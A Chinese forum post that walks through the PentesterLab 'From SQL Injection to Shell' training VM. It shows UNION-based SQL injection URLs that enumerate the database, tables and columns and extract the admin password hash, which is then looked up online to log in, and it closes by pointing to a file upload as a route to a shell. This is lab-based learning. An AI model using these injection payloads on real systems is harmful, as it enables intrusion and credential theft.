[原创]PentesterLab SQL注入实例分析
发表于:
2014-8-26 15:54
4699
[原创]PentesterLab SQL注入实例分析
一、准备
1、实例ISO下载地址:https://pentesterlab.com/exercises/from_sqli_to_shell_pg_edition/
2、实例下载后,使用vmware创建新的虚拟机,在选择iso文件时使用第一步下载的文件。
3、虚拟机制作完成后,打开,在虚拟机的终端中运行ifconfig 获取ip地址,在主机中的浏览器中输入Ip即可进入实验界面:
二、信息收集
4、浏览网页及源码信息,获取网站一些基本信息:
index.php
cat.php?id=* [*=1,2,3] [可能存在注入类的漏洞?]
all.php
admin/login.php [管理界面?]
admin/uploads/ [可直接访问,内有几个图片文件,文件夹权限管理不够严格]
5、查看后台运行的服务器类型,使用火狐的Live HTTP headers插件或者查看器,随便点击一个页面,查看响应信息:
显然使用的是Apache服务器,是否可能存在.htpasswd/.htaccess可直接访问的问题?
三、可能问题分析
6、问题1:cat.php?id=* [*=1,2,3] [可能存在注入类的漏洞?]
在地址栏输入:http://192.168.65.155/cat.php?id=1 ,
怀疑cat.php?id=1可能存在漏洞,修改id=1为id=1',弹出报错信息:
很明显,存在SQL注入漏洞,且后台使用了MySql数据库。
7、既然存在sql注入漏洞,那看能否爆出用户信息?
8、让页面爆出用户信息,那就需要用到union关键字,那首先需要判断现在页面显示信息时查询数据库获得的列数,使用order by查询:
order by 1 页面正常显示
order by 2 页面正常显示
order by 3 页面正常显示
order by 4 页面正常显示
order by 5 弹出“Unknown column '5' in 'order clause' ”问题
那么列数是4
9、猜测下用户表为user,看看有何信息输出?
输入:http://192.168.65.155/cat.php?id=1%20union%20all%20select%201,1,1,1%20from%20user
弹出:Table 'photoblog.user' doesn't exist 啊哈,弹出了数据库名?但是表名user不对。
10、验证下数据库名,顺便爆下表名?需要先确定查询结果的第几列会显示出来。
http://192.168.65.155/cat.php?id=1%20union%20all%20select%201,database%28%29,1,1
变换database() 函数的位置,看输出信息,确定第二列信息会显示出来:
http://192.168.65.155/cat.php?id=1%20union%20all%20select%201,group_concat%28table_name%29,1,1%20from%20information_schema.tables%20where%20table_schema=0x70686f746f626c6f67[0x70686f746f626c6f67为photoblog的十六进制]
ok,用户表名为users
11、那接下来爆用户密码:
union all select 1,1,1,1 from users
没输出有效信息
难道用数字不能查询出有效信息?
那尝试下passwd/password?
发现输入:union all select 1,password,1,1 from users
输出:8efe310f9ab3efeae8d410a8e0166eb2
应该是一个用户的密码加密的密文?
12、输入:union all select 1,password,1,1 from users where user='admin'
弹出Unknown column 'user' in 'where clause' 问题,那看来user这个列不存在
那能不能爆一下列呢?
尝试:
http://192.168.65.155/cat.php?id=1%20union%20select%201,group_concat%28column_name%29,1,1%20%20from%20information_schema.columns%20where%20table_name=0x7573657273%20and%20table_schema=0x70686f746f626c6f67
爆出列名为id,login,password三列。
13、输入:union all select 1,password,1,1 from users where login='admin'
获得密码:8efe310f9ab3efeae8d410a8e0166eb2
14、尝试登录,失败,很显然得到的密码为密文
15、尝试使用John爆破,很长时间没结果
16、可不可能是md5?尝试md5在线破解,没可用结果
17、尝试google 8efe310f9ab3efeae8d410a8e0166eb2:
可能为P4ssw0rd,进入admin界面,输入admin : P4ssw0rd登录成功
18、分析管理功能,发现在admin/new.php存在文件上传功能,那可以上传shell 参考文献:
1、http://www.2cto.com/Article/201208/151503.html
2、http://www.2cto.com/Article/201108/99744.html
3、http://paulschou.com/tools/xlate/ 后注:pentesterlab 有分析文档,本文仅是小菜整理自己的思路,大牛勿拍
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: